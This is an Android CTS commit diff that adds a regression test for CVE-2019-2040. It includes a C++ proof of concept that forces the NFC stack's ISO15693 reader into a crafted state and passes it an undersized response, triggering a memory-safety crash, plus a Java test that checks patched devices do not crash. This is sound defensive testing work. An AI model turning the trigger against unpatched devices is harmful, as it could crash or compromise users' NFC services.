[RESTRICT AUTOMERGE] CTS test for Android Security b/122316913
Bug: 122316913
Bug: 129357200
Test: Ran the new testcase on android-10.0.0_r39 to test with/without patch
Change-Id: Ia80c0ac0444f0d4c3020027c9f40fc4c51c25280
(cherry picked from commit f175279b7449845a5f1c39f50e4bd545266f023a)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/Android.bp
new file mode 100644
index 0000000..e355bd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2040",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/poc.cpp
new file mode 100644
index 0000000..d654e4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2040/poc.cpp
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+
+constexpr int kLength = 8;
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {}
+
+int main() {
+ tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ p_i93->state = RW_I93_STATE_BUSY;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+ p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
+ p_i93->sent_cmd = I93_CMD_EXT_GET_SYS_INFO;
+ p_data->status = NFC_STATUS_OK;
+
+ NFC_HDR* p_resp = (NFC_HDR*)p_data->data.p_data;
+ p_resp->len = kLength;
+ p_resp->offset = 0;
+
+ p_cb->p_cback(0, event, p_data);
+ free(p_data->data.p_data);
+ free(p_data);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
new file mode 100644
index 0000000..99a9546
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2040 extends SecurityTestCase {
+
+ /**
+ * b/122316913
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-04")
+ @Test
+ public void testPocCVE_2019_2040() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2040", null, getDevice());
+ }
+}
